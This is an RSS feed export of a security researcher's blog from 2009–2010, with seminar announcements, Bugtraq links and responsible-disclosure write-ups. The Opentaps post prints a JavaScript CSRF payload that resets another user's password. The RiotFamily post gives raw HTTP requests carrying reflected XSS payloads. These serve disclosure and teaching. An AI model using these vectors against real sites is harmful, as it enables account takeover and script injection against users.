<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AntiSnatch0r</title>
	<atom:link href="http://antisnatchor.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://antisnatchor.com</link>
	<description>Keeping You Informed on the latest and coolest AntiSnatchOr security researches...</description>
	<lastBuildDate>Thu, 18 Feb 2010 09:40:11 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Web Insecurity and Browser Exploitation</title>
		<link>http://antisnatchor.com/2010/02/18/web-insecurity-and-browser-exploitation/</link>
		<comments>http://antisnatchor.com/2010/02/18/web-insecurity-and-browser-exploitation/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 08:29:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://antisnatchor.com/?p=94</guid>
		<description><![CDATA[Finally I&#8217;ve got some free time to update my blog, and post about my latest security seminar: it was in Munich, Germany, on 20th January 2010. It has been a great experience, mainly because some friends from University invited me to speak there, and the beer was so flavored. 
Understand how attackers can exploit common [...]]]></description>
			<content:encoded><![CDATA[<p>Finally I&#8217;ve got some free time to update my blog, and post about my latest security seminar: it was in <a href="http://maps.google.com/maps?f=q&#038;source=s_q&#038;hl=en&#038;geocode=&#038;q=Ludwig-Maximilians-Universit%C3%A4t&#038;sll=48.152287,11.580191&#038;sspn=0.038194,0.080252&#038;ie=UTF8&#038;rq=1&#038;ev=zo&#038;radius=1.85&#038;hq=Ludwig-Maximilians-Universit%C3%A4t&#038;hnear=&#038;ll=48.152287,11.580191&#038;spn=0.038194,0.080252&#038;z=14">Munich, Germany</a>, on 20th January 2010. It has been a great experience, mainly because some friends from University invited me to speak there, and the beer was so flavored. </p>
<p>Understand how attackers can exploit common and uncommon flaws of web<br />
applications, how they can break data confidentiality and alter data<br />
integrity is vital to ensure security respecting the principle &#8220;The only<br />
way to stop a Hacker is to think like one&#8221;.</p>
<p>The presentation cover common flaws and uncommon flaws. The first<br />
ones will be easily understood by unskilled people, the latter combined<br />
with advanced techniques such as XSS proxies can become<br />
devastating in classic security policy environments such as<br />
Discretionary Access Control.</p>
<p>For the Browser Exploitation part I&#8217;ve made a dedicated screencast: you can reach it on <a href="http://www.vimeo.com/9544367">my Vimeo channel</a>.</p>
<div style="width:425px;text-align:left" id="__ss_3025136"><a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/micheleorru/web-insecurity-and-browser-exploitation" title="Web Insecurity And Browser Exploitation">Web Insecurity And Browser Exploitation</a><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=webinsecurityandbrowserexploitation-munichmicheleorru-jan2010-100129124709-phpapp02&#038;stripped_title=web-insecurity-and-browser-exploitation" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=webinsecurityandbrowserexploitation-munichmicheleorru-jan2010-100129124709-phpapp02&#038;stripped_title=web-insecurity-and-browser-exploitation" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;">View more <a style="text-decoration:underline;" href="http://www.slideshare.net/">presentations</a> from <a style="text-decoration:underline;" href="http://www.slideshare.net/micheleorru">Michele Orru&rsquo;</a>.</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://antisnatchor.com/2010/02/18/web-insecurity-and-browser-exploitation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Secure Programming and Common Errors PART II</title>
		<link>http://antisnatchor.com/2009/12/09/secure-programming-and-common-errors-part-ii/</link>
		<comments>http://antisnatchor.com/2009/12/09/secure-programming-and-common-errors-part-ii/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 09:33:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[babaoglu]]></category>
		<category><![CDATA[SANS]]></category>
		<category><![CDATA[security seminars]]></category>
		<category><![CDATA[UniBo]]></category>

		<guid isPermaLink="false">http://antisnatchor.com/?p=91</guid>
		<description><![CDATA[Hi to all my readers.
Today I will present the second part of my security seminars at University of Bologna, Italy.
Here the outline: 

Discuss other important attack vectors, not limited to Web Applications
Practical screen-casts that show how attackers exploit common flows 
Understand the impact of these threats on your privacy, data and identity

You can find the [...]]]></description>
			<content:encoded><![CDATA[<p>Hi to all my readers.</p>
<p>Today I will present the second part of my security seminars at University of Bologna, Italy.</p>
<p>Here the outline: </p>
<ul>
<li>Discuss other important attack vectors, not limited to Web Applications</li>
<li>Practical screen-casts that show how attackers exploit common flows </li>
<li>Understand the impact of these threats on your privacy, data and identity</li>
</ul>
<p>You can find the slides here below:</p>
<div style="width:425px;text-align:left" id="__ss_2680126"><a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/micheleorru/secure-programming-and-common-errors-part-ii" title="Secure Programming And Common Errors Part II">Secure Programming And Common Errors Part II</a><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=secureprogrammingandcommonerrors-part2micheleorru-09dec2008-091209033322-phpapp02&#038;stripped_title=secure-programming-and-common-errors-part-ii" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=secureprogrammingandcommonerrors-part2micheleorru-09dec2008-091209033322-phpapp02&#038;stripped_title=secure-programming-and-common-errors-part-ii" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;">View more <a style="text-decoration:underline;" href="http://www.slideshare.net/">documents</a> from <a style="text-decoration:underline;" href="http://www.slideshare.net/micheleorru">Michele Orru&rsquo;</a>.</div>
</div>
<p>The ScreenCasts can be watched at the following links on Vimeo:<br />
 &#8211; EsseDi path traversal for fun and profit: http://vimeo.com/8072462<br />
 &#8211; Unescaped numeric injection in www.dm.unibo.it: http://vimeo.com/8072698<br />
 &#8211; Konakart 2.2.6.0 stored XSS explitation with BeEF: http://vimeo.com/8072425<br />
 &#8211; WMSmonitor: reflected XSS exploitation using BeEF: http://vimeo.com/8072497<br />
 &#8211; Appendix: Sniffing SSL/TLS Connections Through Fake Certificate Injection: http://vimeo.com/8072385</p>
]]></content:encoded>
			<wfw:commentRss>http://antisnatchor.com/2009/12/09/secure-programming-and-common-errors-part-ii/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Secure Programming and Common Errors</title>
		<link>http://antisnatchor.com/2009/12/03/secure-programming-and-common-errors/</link>
		<comments>http://antisnatchor.com/2009/12/03/secure-programming-and-common-errors/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 09:23:23 +0000</pubDate>
		<dc:creator>antisnatchor</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[security seminar babaoglu SANS]]></category>

		<guid isPermaLink="false">http://antisnatchor.com/?p=88</guid>
		<description><![CDATA[Everyone interested in Web Application Security is invited to come to my seminar today, from 11:00 to 13:00 AM, here in Bologna (University, Aula Ercolani E2).
My slides can be found here: http://www.cs.unibo.it/babaoglu/courses/security/lucidi/SecureProgrammingAndCommonErrors.pdf
Many thanks to prof. Ozalp Babaoglu that still supports me.
For those of you that will attend, please feel free to leave a comment about [...]]]></description>
			<content:encoded><![CDATA[<p>Everyone interested in Web Application Security is invited to come to my seminar today, from 11:00 to 13:00 AM, here in Bologna (University, Aula Ercolani E2).</p>
<p>My slides can be found here: http://www.cs.unibo.it/babaoglu/courses/security/lucidi/SecureProgrammingAndCommonErrors.pdf</p>
<p>Many thanks to prof. Ozalp Babaoglu that still supports me.</p>
<p>For those of you that will attend, please feel free to leave a comment about my seminar. I&#8217;m really interested on improving it.</p>
<p>Thanks you all</p>
<div style="width:425px;text-align:left" id="__ss_2635225"><a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/micheleorru/secure-programming-and-common-errorsmichele-orru-dec-2008" title="Secure Programming And Common Errors[Michele Orru Dec 2008]">Secure Programming And Common Errors[Michele Orru Dec 2008]</a><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=secureprogrammingandcommonerrorsmicheleorru-dec2008-091202142845-phpapp02&#038;stripped_title=secure-programming-and-common-errorsmichele-orru-dec-2008" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=secureprogrammingandcommonerrorsmicheleorru-dec2008-091202142845-phpapp02&#038;stripped_title=secure-programming-and-common-errorsmichele-orru-dec-2008" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;">View more <a style="text-decoration:underline;" href="http://www.slideshare.net/">documents</a> from <a style="text-decoration:underline;" href="http://www.slideshare.net/micheleorru">Michele Orru&rsquo;</a>.</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://antisnatchor.com/2009/12/03/secure-programming-and-common-errors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finally on Bugtraq</title>
		<link>http://antisnatchor.com/2009/10/14/finally-on-bugtraq/</link>
		<comments>http://antisnatchor.com/2009/10/14/finally-on-bugtraq/#comments</comments>
		<pubDate>Wed, 14 Oct 2009 17:38:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[bugtraq]]></category>

		<guid isPermaLink="false">http://antisnatchor.com/?p=73</guid>
		<description><![CDATA[I&#8217;ve sent some of the bugs I&#8217;ve researched months ago on Bugtraq.
Take a look at that guys!
http://www.securityfocus.com/archive/1/507168/30/0/threaded
http://www.securityfocus.com/archive/1/507172/30/0/threaded
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve sent some of the bugs I&#8217;ve researched months ago on <strong>Bugtraq</strong>.</p>
<p>Take a look at that guys!</p>
<p>http://www.securityfocus.com/archive/1/507168/30/0/threaded</p>
<p>http://www.securityfocus.com/archive/1/507172/30/0/threaded</p>
]]></content:encoded>
			<wfw:commentRss>http://antisnatchor.com/2009/10/14/finally-on-bugtraq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>About logical security flaws</title>
		<link>http://antisnatchor.com/2009/07/19/about-logical-security-flaws/</link>
		<comments>http://antisnatchor.com/2009/07/19/about-logical-security-flaws/#comments</comments>
		<pubDate>Sun, 19 Jul 2009 10:23:48 +0000</pubDate>
		<dc:creator>antisnatchor</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://antisnatchor.com/?p=70</guid>
		<description><![CDATA[Sometimes you&#8217;ve certainly heard about automated vs manual penetration testing, how the latter is better in terms of discovering security issues, and so on.
As we (IntegratingWeb) are developers and committers of the Opentaps ERP/CRM open source project, I&#8217;m spending some of my time analyzing the vast amount of source code of the application to find [...]]]></description>
			<content:encoded><![CDATA[<p>Sometimes you&#8217;ve certainly heard about automated vs manual penetration testing, how the latter is better in terms of discovering security issues, and so on.</p>
<p>As we (<a href="http://www.integratingweb.com" target="_blank">IntegratingWeb</a>) are developers and committers of the <a href="http://sourceforge.net/projects/opentaps">Opentaps</a> ERP/CRM open source project, I&#8217;m spending some of my time analyzing the vast amount of source code of the application to find exploitable points and security issues, in order to create a more secure product.</p>
<p>During my research I&#8217;ve found some logic security flaws, that surely you cannot discover using static analysis or other automated tools.</p>
<p>The flaw was present in the implementation of the updatePassword logic, by which a user can update his password: in case of an admin, he can update third party passwords too. The issue was that the checks implemented to see if the user was actually an admin were flawed: if the user had the PARTYMGR_UPDATE CRUD permission, a SecurityPermission (speaking in the OFBiz language)  that EVERY PARTY must have (using default permissions) in order to modify his profile data, then he could modify third party passwords. That means INCLUDING THE ADMIN ONE. More than this, any checks on the current passwords were skipped: we didn&#8217;t need to know the old admin password before changing it to a new one.</p>
<p>You can understand that in this circumstances it was so easy for me to build an attack vector, to exploit this kind of behavior with a XSRF.</p>
<p>I&#8217;m using plain Javascript for my easy attack vector, without relying on any ajax frameworsk for XMLHTTPRequests.</p>
<p>document.body.innerHTML += &#8216;&lt;form id=&#8221;maliciousform&#8221; action=&#8221;<a href="http://localhost:8080/partymgr/control/updatePassword" target="_blank">http://localhost:8080/partymgr/control/updatePassword</a>&#8221; method=&#8221;post&#8221;&gt;&lt;input type=&#8221;hidden&#8221; name=&#8221;userLoginId&#8221; value=&#8221;euronymous666&#8243;&gt;&lt;input type=&#8221;hidden&#8221; name=&#8221;partyId&#8221; value=&#8221;10010&#8243;&gt;&lt;input type=&#8221;hidden&#8221; name=&#8221;currentPassword&#8221; value=&#8221;blabla&#8221;&gt;&lt;input type=&#8221;hidden&#8221; name=&#8221;newPassword&#8221; value=&#8221;passwordwedontknow&#8221;&gt;&lt;input type=&#8221;hidden&#8221; name=&#8221;newPasswordVerify&#8221; value=&#8221;hardpasswd&#8221;&gt;&lt;input type=&#8221;hidden&#8221; name=&#8221;passwordHint&#8221; value=&#8221;"&gt;&lt;/form&gt;&#8217;;<br />
document.getElementById(&#8221;maliciousform&#8221;).submit();</p>
<p>I&#8217;ve changed the code in the trunk to check for ADMIN permissions instead of simple UPDATE permissions, because I suppose that most<br />
custom permission implementations are actually creating some users with full admin privileges, and then other user groups<br />
(such as customers, in e-commerce applications) that have more restrictive permission such as:</p>
<p>&lt;SecurityGroupPermission groupId=&#8221;CUSTOMER&#8221; permissionId=&#8221;PARTYMGR_CREATE&#8221;/&gt;<br />
&lt;SecurityGroupPermission groupId=&#8221;CUSTOMER&#8221; permissionId=&#8221;PARTYMGR_UPDATE&#8221;/&gt;</p>
<p>Users of the group CUSTOMERS just need to update their profile, change mail or change password, and can eventually use the forgot password<br />
link.</p>
<p>The point here is that basically enforcement on current password should not removed in any circumstances, even on admin<br />
users: if someone doesn&#8217;t remember his password, he can use the forgot password service (not so secure in these days<br />
of DNS bug proliferation, Kaminsky said <img src='http://antisnatchor.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).</p>
<p>More than this the check</p>
<p>if (!userLoginId.equals(loggedInUserLogin.getString(&#8221;userLoginId&#8221;)))</p>
<p>is not secure either. Take a UNIX system, and change your unprivileged user account: it will ask for the old password, of course:</p>
<p>euronymouss-macbook-pro:opentaps_trunk euronymous$ passwd euronymous<br />
Changing password for euronymous.<br />
Old password:<br />
New password:<br />
Retype new password:</p>
<p>I&#8217;ve just changed the code in a way that IF AND ONLY IF the user is actually calling the service has PARTY ADMIN privileges<br />
( so basically the superuser that would change the password if an employee is asking it &#8211; no social engineering I hope -),<br />
he can change the password for a third party or for itself without knowing the current password.</p>
<p>I&#8217;ve also removed the check for password.lowercase: it should be finally removed from security.properties, even if by default is<br />
set to false. It&#8217;s a bad security practice, because it drastically reduces password entropy (and it &#8211; badly &#8211; remembers me Microsoft LM).</p>
<p>Finally, I think that even in this circumstances, if a user is the admin and want to change the password of a third party,<br />
it should actually put his current password to confirm that the request is not a BLIND XSRF ( possible otherwise).</p>
<p>For any interested in the source code modifies, just check svn://svn.opentaps.org/opentaps/versions/1.0/trunk at revision 12522 (look for euronymous666 changes).</p>
<p>Any more informations <a href="http://sourceforge.net/forum/forum.php?thread_id=3331806&amp;forum_id=487771">here</a> and <a title="special security should be required for setting passwords" href="https://issues.apache.org/jira/browse/OFBIZ-2729">here</a> (thanks to Si Chen).</p>
]]></content:encoded>
			<wfw:commentRss>http://antisnatchor.com/2009/07/19/about-logical-security-flaws/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Pentaho 1.7.0.1062 Multiple Vulnerabilities</title>
		<link>http://antisnatchor.com/2009/06/20/pentaho-1701062-multiple-vulnerabilities/</link>
		<comments>http://antisnatchor.com/2009/06/20/pentaho-1701062-multiple-vulnerabilities/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 16:25:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[pentaho]]></category>

		<guid isPermaLink="false">http://antisnatchor.com/?p=67</guid>
		<description><![CDATA[A lot of months ago I was researching bugs in the excellent Pentaho Business Intelligence platform (with bundled jboss). I&#8217;ve found the following:
A) Reflected XSS
B) Password field with autocomplete enabled
C) Disclosure of Session Tokens in URL
More infos here: [http://jira.pentaho.com/browse/BISERVER-2698?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel]
After 6 months (SIX! it remembers me David Litchfield and Oracle   ) Pentaho developers partially [...]]]></description>
			<content:encoded><![CDATA[<p>A lot of months ago I was researching bugs in the excellent Pentaho Business Intelligence platform (with bundled jboss). I&#8217;ve found the following:</p>
<p>A) Reflected XSS<br />
B) Password field with autocomplete enabled<br />
C) Disclosure of Session Tokens in URL</p>
<p>More infos here: [<a href="http://jira.pentaho.com/browse/BISERVER-2698?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel" target="_blank">http://jira.pentaho.com/browse/BISERVER-2698?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel</a>]</p>
<p>After 6 months (SIX! it remembers me David Litchfield and Oracle <img src='http://antisnatchor.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) Pentaho developers partially fixed everything.</p>
<p>I&#8217;ve not disclosed this before because I&#8217;m trying to follow Responsible Disclosure more as I can&#8230;</p>
<p>Is that the best? Well, sometimes&#8230;</p>
<p>That&#8217;s responsible disclosure</p>
]]></content:encoded>
			<wfw:commentRss>http://antisnatchor.com/2009/06/20/pentaho-1701062-multiple-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Secure Programming and Common Errors: Seminari on 05/05/09 @ University of Bologna</title>
		<link>http://antisnatchor.com/2009/05/05/secure-programmin-and-common-errors-seminari-on-050509-university-of-bologna/</link>
		<comments>http://antisnatchor.com/2009/05/05/secure-programmin-and-common-errors-seminari-on-050509-university-of-bologna/#comments</comments>
		<pubDate>Tue, 05 May 2009 15:28:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[seminar university]]></category>

		<guid isPermaLink="false">http://antisnatchor.com/?p=62</guid>
		<description><![CDATA[I&#8217;ve just finished my seminar Secure Programming and Common Errors at my university (Bologna), on the couse Computer Security lead by professor Babaoglu.
If you want to take a look at my slides, please download them here: [http://www.cs.unibo.it/~babaoglu/courses/security/lucidi/SecureProgrammingAndCommonErrors.pdf]
Comments appriciated!
antisnatchor
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve just finished my seminar <strong>Secure Programming and Common Errors</strong> at my university (Bologna), on the couse Computer Security lead by professor Babaoglu.</p>
<p>If you want to take a look at my slides, please download them <a title="Secure Programming and Common Errors" href="http://www.cs.unibo.it/~babaoglu/courses/security/lucidi/SecureProgrammingAndCommonErrors.pdf" target="_blank">here</a>: <em>[http://www.cs.unibo.it/~babaoglu/courses/security/lucidi/SecureProgrammingAndCommonErrors.pdf]</em></p>
<p>Comments appriciated!</p>
<p>antisnatchor</p>
]]></content:encoded>
			<wfw:commentRss>http://antisnatchor.com/2009/05/05/secure-programmin-and-common-errors-seminari-on-050509-university-of-bologna/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RiotFamily tag 8: still more exploitable points&#8230;</title>
		<link>http://antisnatchor.com/2009/03/20/riotfamily-tag-8-still-more-exploitable-points/</link>
		<comments>http://antisnatchor.com/2009/03/20/riotfamily-tag-8-still-more-exploitable-points/#comments</comments>
		<pubDate>Fri, 20 Mar 2009 18:58:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[RiotFamily]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://antisnatchor.com/?p=59</guid>
		<description><![CDATA[After a few hours of research I&#8217;ve found other two XSS (reflected) insertion points.
More difficult to find, more satisfaction to have succeeded :)
Take a look here please: http://jira.riotfamily.org/browse/RIOT-121.
euronymous
]]></description>
			<content:encoded><![CDATA[<p>After a few hours of research I&#8217;ve found other two XSS (reflected) insertion points.</p>
<p>More difficult to find, more satisfaction to have succeeded :)</p>
<p>Take a look here please: http://jira.riotfamily.org/browse/RIOT-121.</p>
<p>euronymous</p>
]]></content:encoded>
			<wfw:commentRss>http://antisnatchor.com/2009/03/20/riotfamily-tag-8-still-more-exploitable-points/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RiotFamily release 8 XSS: fast fix!!!</title>
		<link>http://antisnatchor.com/2009/03/11/riotfamily-release-8-xss-fast-fix/</link>
		<comments>http://antisnatchor.com/2009/03/11/riotfamily-release-8-xss-fast-fix/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 08:44:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[RiotFamily]]></category>

		<guid isPermaLink="false">http://antisnatchor.com/?p=53</guid>
		<description><![CDATA[The pleaseure to see the speed of bux-fixing by vendors is even much exciting that finding bugs!
Well, that&#8217;s not completely true..anyway is always good to look at a JIRA issue opened and closed the same day for a bug (XSS(s) in our case) fixed on-the-fly.
For those of you that are already using Riot in production, [...]]]></description>
			<content:encoded><![CDATA[<p>The pleaseure to see the speed of bux-fixing by vendors is even much exciting that finding bugs!</p>
<p>Well, that&#8217;s not completely true..anyway is always good to look at a JIRA issue opened and closed the same day for a bug (XSS(s) in our case) <em>fixed on-the-fly</em>.</p>
<p>For those of you that are already using Riot in production, and cannot wait for the next minor release, Felix already published the patches in the SVN trunk. Take a look at the JIRA issue <a title="jira issue" href="http://jira.riotfamily.org/browse/RIOT-120 ">here </a>and at the change-log <a title="changelog" href="http://fisheye.riotfamily.org/changelog/riotfamily?cs=3520 ">here</a>.</p>
<p>That&#8217;s what did Felix Gnass, the lead developer of RiotFamily, in which we have found security <a href="http://antisnatchor.com/2009/03/10/riotfamily-release-80-xss/" target="_blank">issues</a>.</p>
<p>Thanks Felix for fastly patching your powerful platform.</p>
]]></content:encoded>
			<wfw:commentRss>http://antisnatchor.com/2009/03/11/riotfamily-release-8-xss-fast-fix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RiotFamily release 8 XSS</title>
		<link>http://antisnatchor.com/2009/03/10/riotfamily-release-80-xss/</link>
		<comments>http://antisnatchor.com/2009/03/10/riotfamily-release-80-xss/#comments</comments>
		<pubDate>Tue, 10 Mar 2009 13:47:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://antisnatchor.com/?p=45</guid>
		<description><![CDATA[After a few months of security research inactivity, due to lack of time, I&#8217;m back guys.
In these days I&#8217;m playing with RiotFamily (release 8.0), a powerful JEE based Content Management System developed by Felix Gnass and open to the public. It is based on rock-stable technologies that we all use developing Java based web apps, [...]]]></description>
			<content:encoded><![CDATA[<p>After a few months of security research inactivity, due to lack of time, I&#8217;m back guys.</p>
<p>In these days I&#8217;m playing with <a title="riotfamily" href="http://www.riotfamily.org" target="_blank">RiotFamily</a> (release 8.0), a powerful JEE based Content Management System developed by Felix Gnass and open to the public. It is based on rock-stable technologies that we all use developing Java based web apps, such as Spring, Hibernate, Freemarker, and DWR for Ajax.</p>
<p>They made a lot of improvement from the previous version 7, especially in the admin backend.</p>
<p>Well I have the time to run it locally on my Tomcat instance and play a bit lookin for security issues&#8230;here we go:</p>
<p>1. Reflected XSS in &lt;yourApp&gt;/riot/form/riotUser when adding a new user to the Riot backend. Following the row request complete with the trivial attack vector I&#8217;ve used:</p>
<pre>POST /riot8/riot/form/riotUser HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5)
Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost:8080/riot8/riot/form/riotUser
Cookie: JSESSIONID=DE70D674365E74CDAD6CA176747FD244;
Content-Type: multipart/form-data; boundary=------------------
---------169054938890117057438849259
Content-Length: 838</pre>
<pre>-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="id"
aaa
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="name"
aaa
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="email"
aaa@aal.lo
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="p3"
aaa
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="p3-confirm"
aaa
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="sites"
1f67g&lt;sCript&gt;alert(666)&lt;/ScriPt&gt;74jhskm3
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="p5"
Save
-----------------------------169054938890117057438849259--</pre>
<p>as you can see we&#8217;ve modified the original POST request (the one to add a user to the DB) injecting after the value 1 of the form part &#8220;sites &#8221; (a normal checkbox) a malicious (even if only to test purposes) JavaScript payload that shows a 666 popup. It works even throwing a java.lang.NumberFormatException.</p>
<p>This is basically the same problem I&#8217;ve found in Eclipse BIRT a few months ago (now fixed): the <strong>Exception trace</strong> is <strong>not escaped</strong> for HTML characters, as you can see here:</p>
<pre>java.lang.NumberFormatException: For input string:
"1f67g&lt;sCript&gt;alert(666)&lt;/ScriPt&gt;74jhskm3"
 at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)
 at java.lang.Integer.parseInt(Integer.java:456)
 at java.lang.Integer.parseInt(Integer.java:497)
 at org.riotfamily.forms.element.select.AbstractMultiSelectElement
.updateSelection(AbstractMultiSelectElement.java:161)
 at org.riotfamily.forms.element.select.AbstractMultiSelectElement
.processRequest(AbstractMultiSelectElement.java:141)
 at org.riotfamily.forms.CompositeElement.processRequestCompontents(CompositeElement
.java:142)
 at org.riotfamily.forms.CompositeElement.processRequest(CompositeElement.java:131)
 at org.riotfamily.forms.Form.processRequest(Form.java:396)
 at org.riotfamily.forms.Form.processRequest(Form.java:387)
 at org.riotfamily.forms.controller.AbstractFormController
.processForm(AbstractFormController.java:239)
 at org.riotfamily.forms.controller.AbstractFormController
.handleFormRequest(AbstractFormController.java:132)
 at org.riotfamily.forms.controller.AjaxFormController
.handleFormRequest(AjaxFormController.java:69)
 at org.riotfamily.forms.controller.AbstractFormController
.handleRequest(AbstractFormController.java:123)</pre>
<p>Same problem in the path servlet request URI, in the objectId and subPage parameters:</p>
<pre>GET /riot8/riot/path?editorId=messageBundleEntry
              &amp;objectId=1o92&lt;script&gt;alert(1)&lt;/script&gt;73j HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5)
 Gecko/2009010711 Gentoo Firefox/3.0.5</pre>
<p>[..]</p>
<pre>GET /riot8/riot/path?editorId=dbMessages
     &amp;subPage=importMessagesac210&lt;script&gt;alert(1)&lt;/script&gt;748djna HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5)
Gecko/2009010711 Gentoo Firefox/3.0.5</pre>
<p>Have fun guys&#8230;</p>
<p>euronymous</p>
]]></content:encoded>
			<wfw:commentRss>http://antisnatchor.com/2009/03/10/riotfamily-release-80-xss/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
